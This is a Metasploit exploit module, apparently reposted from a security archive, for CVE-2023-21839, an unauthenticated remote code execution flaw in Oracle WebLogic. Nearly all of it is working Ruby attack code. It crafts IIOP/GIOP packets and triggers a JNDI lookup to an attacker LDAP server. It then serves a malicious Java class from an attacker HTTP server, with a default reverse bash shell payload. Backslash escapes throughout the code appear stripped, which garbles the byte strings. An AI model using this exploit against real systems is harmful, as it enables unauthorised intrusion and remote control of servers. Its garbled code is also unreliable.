Authored by Grant Willcox, 4ra1n, 14m3ta7k | Site metasploit.com

Oracle Weblogic versions 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated remote code execution vulnerability due to a post deserialization vulnerability. This Metasploit module exploits this vulnerability to trigger the JNDI connection to a LDAP server you control. The LDAP server will then respond with a remote reference response that points to a HTTP server that you control, where the malicious Java class file will be hosted. Oracle Weblogic will then make an HTTP request to retrieve the malicious Java class file, at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us remote code execution as the oracle user.

advisories | CVE-2023-21839

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Exploit::Remote::JndiInjection
prepend Msf::Exploit::Remote::AutoCheck

# Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes.
GIOP_REQUEST = 0
GIOP_REPLY = 1
GIOP_CANCEL_REQUEST = 2
GIOP_LOCATE_REQUEST = 3
GIOP_LOCATE_REPLY = 4
GIOP_CLOSE_CONNECTION = 5
GIOP_MESSAGE_ERROR = 6
GIOP_FRAGMENT = 7

# Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF
SYNCSCOPE_NONE = 0
SYNCSCOPE_WITH_TRANSPORT = 0
SYNCSCOPE_WITH_SERVER = 1
SYNCSCOPE_WITH_TARGET = 3

# Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF
ADDR_DISPOSITION_KEYADDR = 0
ADDR_DISPOSITION_PROFILE_ADDR = 1
ADDR_DISPOSITION_REFERENCE_ADDR = 2

# GIOP Protocol RequestReply Header Codes
# Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
NO_EXCEPTION = 0
USER_EXCEPTION = 1
SYSTEM_EXCEPTION = 2
LOCATION_FORWARD = 3

# GIOP Protocol LocateReply Header Codes
# Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
UNKNOWN_OBJECT = 0
OBJECT_HERE = 1
OBJECT_FORWARD = 2

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization',
'License' => MSF_LICENSE,
'Author' => [
'4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC.
'14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability.
'Grant Willcox' # @tekwizz123 This Metasploit module
],
'Description' => %q{
Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated
remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes
a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the
object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable,
which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via
the "lookup()" function.

This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting
a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to
create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java
code during the instantiation of the object, thereby getting remote code execution as the "oracle" user.

This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will
then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java
class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,
at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate
an instance of that class, granting us RCE as the "oracle" user.

This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability
},
'References' => [
['CVE', '2023-21839'],
['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory
['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup
['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP
['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC
['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert.
],
'Privileged' => false,
'Targets' => [
[
'Linux', {
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(7001),
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])
]
)
end

def get_weblogic_version
socket = connect
http_request = Rex::Proto::Http::ClientRequest.new(
{
'uri' => '/console/login/LoginForm.jsp',
'vhost' => datastore['RHOST'],
'port' => datastore['RPORT']
}
).to_s
socket.put(http_request.to_s)
res = socket.get
fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res

# Disconnect as we will want a new socket for future connections.
disconnect

# Do the regex on the result to find the version.
version = res.match(/WebLogic Server Version: ((?:d{1,3}.){4}d{1,3})/)
fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil?
version = version[1]

Rex::Version.new(version)
end

def giop_header(msg_type)
header = ''
header << 'GIOP' # Magic
header << "x01x02" # Version, in this case 1.2 of the GIOP protocol.
header << "x00" # Message flags
case msg_type
when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT
header << [msg_type].pack('C')
else
fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!')
end
header << 'LENGTH_REPLACE_ME'
end

# LocateRequest packets are used to determine whether an object reference is valid,
# whether the current server is capable of directly receiving request for the object reference,
# and if not, to what address the request for the object should be sent.
#
# Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27
def giop_locate_request_packet(keyaddress = 'NameService')
header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute
data = ''
packet = ''

@request_id = 1 if @request_id.nil?
@request_id += 1
data << [@request_id].pack('N') # Request ID
data << [0].pack('n') # TargetAddress, 2 byte field
data << [0].pack('n') # Padding, 2 bytes
data << [keyaddress.length].pack('N') # Key Address Length
data << keyaddress

packet << header
packet << data
packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N'))

packet
end

def create_service_context(vscid, scid, context_data, endian = 0)
context = ''
seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length.
context << vscid # 3 byte long VSCID
context << [scid].pack('C') # 1 byte long SCID
context << [seq_length].pack('N') # 4 byte long sequence length
context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian.
context << context_data

context
end

def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length)
header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute
data = ''
packet = ''

@request_id = 1 if @request_id.nil?
@request_id += 1
data << [@request_id].pack('N') # Request ID
data << [sync_scope].pack('C') # Response flags
data << "x00x00x00" # Reserved
data << [addr_disposition].pack('n') # TargetAddress, 2 bytes
data << [0].pack('n') # Two bytes of padding.
data << [key_address.length].pack('N') # Key Address Length
data << key_address
data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?
data << "rebind_anyx00" # Request Operation

service_context_list = ''
service_context_list << "x00" # Seems we have one byte of padding? Lets account for this.
service_context_list << [context_list_length].pack('N') # Sequence Length
service_context_list << '{SERVICE_CONTEXT_LIST}'

@java_class_name = 'PayloadRuns'
ldap_uri = jndi_string(@java_class_name)
stub_data += [ldap_uri.length].pack('C') + ldap_uri

data << service_context_list
data << stub_data

packet << header
packet << data

packet
end

def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len)
header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute
data = ''
packet = ''

@request_id = 1 if @request_id.nil?
@request_id += 1
data << [@request_id].pack('N') # Request ID
data << [sync_scope].pack('C') # Response flags
data << "x00x00x00" # Reserved
data << [addr_disposition].pack('n') # TargetAddress, 2 bytes
data << [0].pack('n') # Two bytes of padding.
data << [key_address.length].pack('N') # Key Address Length
data << key_address
data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?
data << "resolvex00" # Request Operation

service_context_list = ''
service_context_list << [context_list_length].pack('N') # Sequence Length
service_context_list << '{SERVICE_CONTEXT_LIST}'

cos_data = ''
if cos_naming_disector
cos_data << "x00x00x00x00"
cos_data << [seq_len].pack('N') # Sequence length
name_component = "testx00"
cos_data << [name_component.length].pack('N') # Name component length including NULL byte.
cos_data << name_component
cos_data << "x00x00x00x00x00x00x01x00" # Unknown data, Wireshark could not decode this.
end

data << service_context_list
data << cos_data

packet << header
packet << data

packet
end

def check
begin
@version = get_weblogic_version
fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil?
rescue ::Timeout::Error
fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')
rescue Rex::AddressInUse
fail_with(Failure::BadConfig, 'Address is currently in use')
rescue Rex::HostUnreachable
fail_with(Failure::Unreachable, 'Target host is unreachable!')
rescue Rex::ConnectionRefused
fail_with(Failure::Disconnected, 'Target refused connection!')
rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout
fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')
end

if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999'))
return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!')
elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999'))
return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!')
elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999'))
return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!')
else
return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!')
end
end

# HTTP Server Related Functions and Overrides

# Returns the configured URIPATH along with the path to the Java class we are serving
def resource_uri
"#{datastore['URIPATH']}/#{@java_class_name}.class"
end

# Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of
# this URL when it tries to fetch the class to be loaded and instantiated.
def ldap_url_string
"http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/"
end

#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http_service(opts = {})
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
(opts['ServerPort'] || bindport).to_i,
opts['ServerHost'] || bindhost,
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
datastore['SSLCert'],
datastore['SSLCompression'],
datastore['SSLCipher'],
datastore['SSLVersion']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => method(:on_request_uri),
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore['SSL'] ? 'https' : 'http')

netloc = opts['ServerHost'] || bindhost
http_srvport = (opts['ServerPort'] || bindport).to_i
print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}")

# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end

#
# Kill HTTP service (shut it down and clear resources)
#
def cleanup
# Stop the LDAP server
cleanup_service

# Clean and stop HTTP server
if @http_service
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service = nil
rescue StandardError => e
print_error("Failed to stop http server due to #{e}")
end
end
super
end

#
# Handle HTTP requests and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'))
base64_payload = Rex::Text.encode_base64(payload.encoded)
exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length
command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length
class_raw = class_raw.gsub("x00x2C", [command_length].pack('n'))
class_raw = class_raw.gsub('PAYLOAD', base64_payload)
send_response(cli, 200, 'OK', class_raw)
end

#
# Create an HTTP response and then send it
#
def send_response(cli, code, message = 'OK', html = '')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res.body = html
cli.send_response(res)
end

# LDAP Server Overrides
def build_ldap_search_response_payload
# Always do a remote load
# Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.
# You can add anchor tags using # to the URL but thats it.
build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)
end

# Main Exploit
def exploit
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!')
end

if @version.blank?
@version = get_weblogic_version
end

# Step 1 - Make T3 connection to start IIOP connection process, and read response.
socket = connect
print_status('1. Making T3 connection...')
socket.put("t3 9.2.0.0nAS:255nHL:92nMS:10000000nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}nn")
_buf = socket.get
disconnect
print_good('Made T3 connection!')

# Step 2 - Send first GIOP LocateRequest packet
print_status('2. Sending first GIOP LocateRequest packet')
# Make a GIOP LocateRequest packet request and read response.
socket = connect
socket.put(giop_locate_request_packet)
locate_buf = socket.get
disconnect
print_good('Step 2 complete!')

reply_status = locate_buf[16..19].unpack('N')&.dig(0)
if reply_status != OBJECT_FORWARD
fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!')
end

# Calculate the target port

# Start at offset 0x60 which will be inside the GIOP's LocateReply message,
# and will be where the IP address is located in the IOR response.
port_offset = 0x60

# Starting at this offset above, loop until we hit a zero byte in the IOR buffer.
# This works because the PORT number is represented as a 4 byte long number, aka 32 bits,
# and the upper part will never be used. Either that or there is a x00x00 padding section
# between the IP address and the port.
loop do
if locate_buf[port_offset] != "x00"
port_offset += 0x1
else
break
end
end

# If port_offset is too large by this point then we have likely hit an error and should exit
if port_offset > 10240
fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!')
end

# Now, loop until we hit a non-zero byte in the IOR buffer. This should
# place at the location of the port part of the IP address that is embedded in the IOR message.
loop do
if locate_buf[port_offset] == "x00"
port_offset += 0x1
else
break
end
end

port = []
port.append(locate_buf[port_offset])
port_offset += 1
port.append(locate_buf[port_offset])

# Reformulate the port number from the array so we can get the actual port the target server is expecting us to use.
final_port = port[1].bytes[0] | (port[0].bytes[0] << 8)

# Fail if the received port is not the one we expected.
if final_port != datastore['RPORT']
fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}")
end

lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message.
foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U

loop do
if locate_buf[foff] == "x00"
foff += 0x1
else
break
end
end

key1 = locate_buf[foff...foff + 8]
key2 = "xffxffxffxff" + locate_buf[foff + 4...foff + 8]

if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13')
wls_key_1 = "x00x42x45x41x08x01x03x00x00x00x00x0cx41x64x6dx69x6ex53x65x72x76x65x72x00x00x00x00x00x00x00x00x33x49"
"x44x4cx3ax77x65x62x6cx6fx67x69x63x2fx63x6fx72x62x61x2fx63x6fx73x2fx6ex61x6dx69x6ex67x2fx4ex61x6dx69x6ex67x43"
"x6fx6ex74x65x78x74x41x6ex79x3ax31x2ex30x00x00x00x00x00x02x38x00x00x00x00x00x00x01x42x45x41x2cx00x00x00x10x00"
"x00x00x00x00x00x00x00{{key1}}"
wls_key_2 = "x00x42x45x41x08x01x03x00x00x00x00x0cx41x64x6dx69x6ex53x65x72x76x65x72x00x00x00x00x00x00x00x00x33x49"
"x44x4cx3ax77x65x62x6cx6fx67x69x63x2fx63x6fx72x62x61x2fx63x6fx73x2fx6ex61x6dx69x6ex67x2fx4ex61x6dx69x6ex67x43"
"x6fx6ex74x65x78x74x41x6ex79x3ax31x2ex30x00x00x00x00x00x04{{key3}}x00x00x00x01x42x45x41x2cx00x00x00x10x00"
"x00x00x00x00x00x00x00{{key1}}"
elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15')
wls_key_1 = "x00x42x45x41x08x01x03x00x00x00x00x0cx41x64"
"x6dx69x6ex53x65x72x76x65x72x00x00x00x00x00x00x00x00x33x49x44x4cx3ax77x65x62x6c"
"x6fx67x69x63x2fx63x6fx72x62x61x2fx63x6fx73x2fx6ex61x6dx69x6ex67x2fx4ex61x6d"
"x69x6ex67x43x6fx6ex74x65x78x74x41x6ex79x3ax31x2ex30x00x00x00x00x00x02x38x00x00"
"x00x00x00x00x01x42x45x41x2ex00x00x00x10x00x00x00x00x00x00x00x00{{key1}}"
wls_key_2 = "x00x42x45x41x08x01x03x00x00x00x00x0cx41x64x6dx69x6ex53x65x72x76x65"
"x72x00x00x00x00x00x00x00x00x33x49x44x4cx3ax77x65x62x6cx6fx67x69x63x2fx63x6fx72"
"x62x61x2fx63x6fx73x2fx6ex61x6dx69x6ex67x2fx4ex61x6dx69x6ex67x43x6fx6ex74x65"
"x78x74x41x6ex79x3ax31x2ex30x00x00x00x00x00x04{{key3}}x00x00x00x01x42x45x41"
"x2ex00x00x00x10x00x00x00x00x00x00x00x00{{key1}}"
else
fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!')
end

wls_key_1.gsub!('{{key1}}', key1)

# Step 3 - Make a rebindAny request
key_addr = wls_key_1
stub_data = "x00x00x00x01x00x00x00x04x74x65x73x74x00x00x00x01x00x00x00x00x00x00x00x1dx00x00x00x1cx00x00x00x00x00x00x00x01"
"x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x7fxffxffx02x00x00x00x54x52x4dx49x3ax77x65x62x6cx6fx67x69x63x2ex6ax6ex64x69x2ex69"
"x6ex74x65x72x6ex61x6cx2ex46x6fx72x65x69x67x6ex4fx70x61x71x75x65x52x65x66x65x72x65x6ex63x65x3ax44x32x33x37x44x39x31x43x42x32x46x30x46x36x38"
"x41x3ax33x44x32x31x35x32x37x46x45x44x35x39x36x45x46x31x00x00x00x00x00x7fxffxffx02x00x00x00x23x49x44x4cx3ax6fx6dx67x2ex6fx72x67x2fx43x4fx52x42"
"x41x2fx57x53x74x72x69x6ex67x56x61x6cx75x65x3ax31x2ex30x00x00x00x00x00"
socket = connect
packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "x00x00x00x00" + stub_data, 6)

context_data = ''
@service_context_0 = create_service_context("x00x00x00", 5, "x00x00x00x00x00x00x01x00x00x00x0dx31x37x32x2ex32x36x2ex31x31x32x2ex31x00x00xecx5b")
@service_context_1 = create_service_context("x00x00x00", 1, "x00x00x00x00x01x00x20x05x01x00x01")
@service_context_2 = create_service_context("x42x45x41", 0, "x0ax03x01")

context_data << @service_context_0
context_data << @service_context_1
context_data << create_service_context("x00x00x00", 6, "x00x00x00x00x00x00x28x49x44x4cx3ax6fx6dx67x2ex6fx72x67x2fx53x65x6ex64x69x6ex67x43"
"x6fx6ex74x65x78x74x2fx43x6fx64x65x42x61x73x65x3ax31x2ex30x00x00x00x00x01x00x00x00x00x00x00x00xb8x00x01x02x00x00x00x00"
"x0dx31x37x32x2ex32x36x2ex31x31x32x2ex31x00x00xecx5bx00x00x00x64x00x42x45x41x08x01x03x00x00x00x00x01x00x00x00x00x00x00"
"x00x00x00x00x00x28x49x44x4cx3ax6fx6dx67x2ex6fx72x67x2fx53x65x6ex64x69x6ex67x43x6fx6ex74x65x78x74x2fx43x6fx64x65x42x61"
"x73x65x3ax31x2ex30x00x00x00x00x03x31x32x00x00x00x00x00x01x42x45x41x2ax00x00x00x10x00x00x00x00x00x00x00x00x5exedxafxde"
"xbcx0dx22x70x00x00x00x01x00x00x00x01x00x00x00x2cx00x00x00x00x00x01x00x20x00x00x00x03x00x01x00x20x00x01x00x01x05x01x00"
"x01x00x01x01x00x00x00x00x03x00x01x01x00x00x01x01x09x05x01x00x01")
context_data << create_service_context("x00x00x00", 15, "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00")
context_data << create_service_context("x42x45x41", 3, "x00x00x00x00x00x00x00" + key2 + "x00x00x00x00")
context_data << @service_context_2

packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

# To find the true message size:
# 1. Subtract an extra 12 bytes for GIOP header.
# 2. Then subtract length of the LENGTH_REPLACE_ME string.
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

print_status('3. Sending rebindAny request!')
socket.put(packet)
rebind_any_buf = socket.get
disconnect
print_good('Step 3 complete!')

reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0)
if reply_status_code != LOCATION_FORWARD
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")
end

start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime
0xac + lt + # IOR ProfileHost ProfilePort
0x5d # ObjectKey Prefix

while rebind_any_buf[start_off] != 0x32
if start_off > 0x2710
break
end

start_off += 1
end

if start_off > 0x2710
key3 = "x32x38x39x00"
else
key3 = rebind_any_buf[start_off...start_off + 4]
end

wls_key_2.gsub!('{{key3}}', key3)
wls_key_2.gsub!('{{key1}}', key1)

# Step 4 - rebind_any Request Again???
socket = connect
key_addr = wls_key_2
packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4)

context_data = ''
context_data << @service_context_0
context_data << @service_context_1
context_data << create_service_context("x42x45x41", 3, "x00x00x00x00x00x00x00" + key2 + "x00x00x00x00")
context_data << @service_context_2

packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

# To find the true message size:
# 1. Subtract an extra 12 bytes for GIOP header.
# 2. Then subtract length of the LENGTH_REPLACE_ME string.
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

print_status('4. Sending second rebindAny request!')
socket.put(packet)
rebind_any_buf_2 = socket.get
disconnect
print_good('Step 4 complete!')

reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0)
if reply_status_code != NO_EXCEPTION
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!")
end

# Step 5 - Send second GIOP LocateRequest packet
print_status('5. Sending second GIOP LocateRequest packet')
socket = connect
socket.put(giop_locate_request_packet)
locate_buf_two = socket.get
disconnect
print_good('Step 5 complete!')

reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0)
if reply_status_code != OBJECT_FORWARD
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!")
end

# Step 6 - Resolve packet #1 with wls_key_1
key_addr = wls_key_1
packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)

context_data = ''
context_data << @service_context_0
context_data << @service_context_1
context_data << create_service_context("x42x45x41", 3, "x00x00x00x00x00x00x00" + key2 + "x00x00x00x00")
context_data << @service_context_2

packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

# To find the true message size:
# 1. Subtract an extra 12 bytes for GIOP header.
# 2. Then subtract length of the LENGTH_REPLACE_ME string.
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

print_status('6. Sending resolve packet #1 with wls_key_1')
socket = connect
socket.put(packet)
resolve_packet_wls_key_1 = socket.get
disconnect
print_good('Step 6 complete!')

reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0)
if reply_status_code != LOCATION_FORWARD
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")
end

# Step 7 - Resolve packet #2 with wls_key_2
key_addr = wls_key_2
packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)

context_data = ''
context_data << @service_context_0
context_data << @service_context_1
context_data << create_service_context("x42x45x41", 3, "x00x00x00x00x00x00x00" + key2 + "x00x00x00x00")
context_data << @service_context_2

packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)

# To find the true message size:
# 1. Subtract an extra 12 bytes for GIOP header.
# 2. Then subtract length of the LENGTH_REPLACE_ME string.
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))

start_service
start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i)

print_status('7. Sending resolve packet #2 with wls_key_2')
socket = connect
socket.put(packet)
step_7_response = socket.get
disconnect
print_good('Step 7 complete!')

reply_status_code = step_7_response[16..19].unpack('N')&.dig(0)
if reply_status_code != USER_EXCEPTION
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!")
end
end
end